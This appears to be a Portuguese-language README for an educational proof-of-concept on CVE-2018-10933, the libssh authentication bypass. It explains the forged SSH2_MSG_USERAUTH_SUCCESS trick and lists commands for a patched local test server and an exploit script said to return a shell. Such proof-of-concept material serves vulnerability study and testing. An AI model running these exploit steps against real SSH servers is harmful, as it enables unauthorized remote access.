
Propósito educacional para CVE-2018-10933
[Explicação]
Este conteúdo tem finalidade educacional sobre a CVE-2018-10933, que é a bypass de autenticação no libSSH!
As versões 0.6 e superiores do libssh têm uma vulnerabilidade de bypass de autenticação no código do servidor.
Ao apresentar ao servidor uma mensagem SSH2_MSG_USERAUTH_SUCCESS no lugar da mensagem SSH2_MSG_USERAUTH_REQUEST
que o servidor esperaria para iniciar a autenticação, o atacante poderia autenticar com sucesso
sem quaisquer credenciais.
A pasta "patch" contém código modificado no servidor para fins de teste (que injeta um pacote SSH2_MSG_USERAUTH_SUCCESS durante qualquer autenticação),
porque essa vulnerabilidade foi corrigida desde a versão libSSH-0.7.5 (é complicado regenerar um ambiente compatível com uma versão antiga do libSSH)
[Uso]
Se quiser executar este PoC na sua máquina, siga as instruções.
Clone os repositórios.
Adicionar a biblioteca à máquina local
sudo cp CVE-2018-10933-PoC/libssh-0.8.3/src/* /usr/local/lib
pip install -r requirements.txt
cd libssh-0.8.3
./ssh_server -v [server_IP] -p [port] -d ssh_host_dsa_key -k ssh_host_rsa_key
python3 libSSHcheck.py -t [server_IP] -p [server_port]
Em seguida, você recebe a mensagem, que é o banner.
Execute o payload e, em seguida, você obtém um shell:
python3 paramikoBypass.py -t [server_IP] -p [server_port]
=> Sucesso!
[Referência]
https://github.com/hackerhouse-opensource/
https://www.exploit-db.com/exploits/45638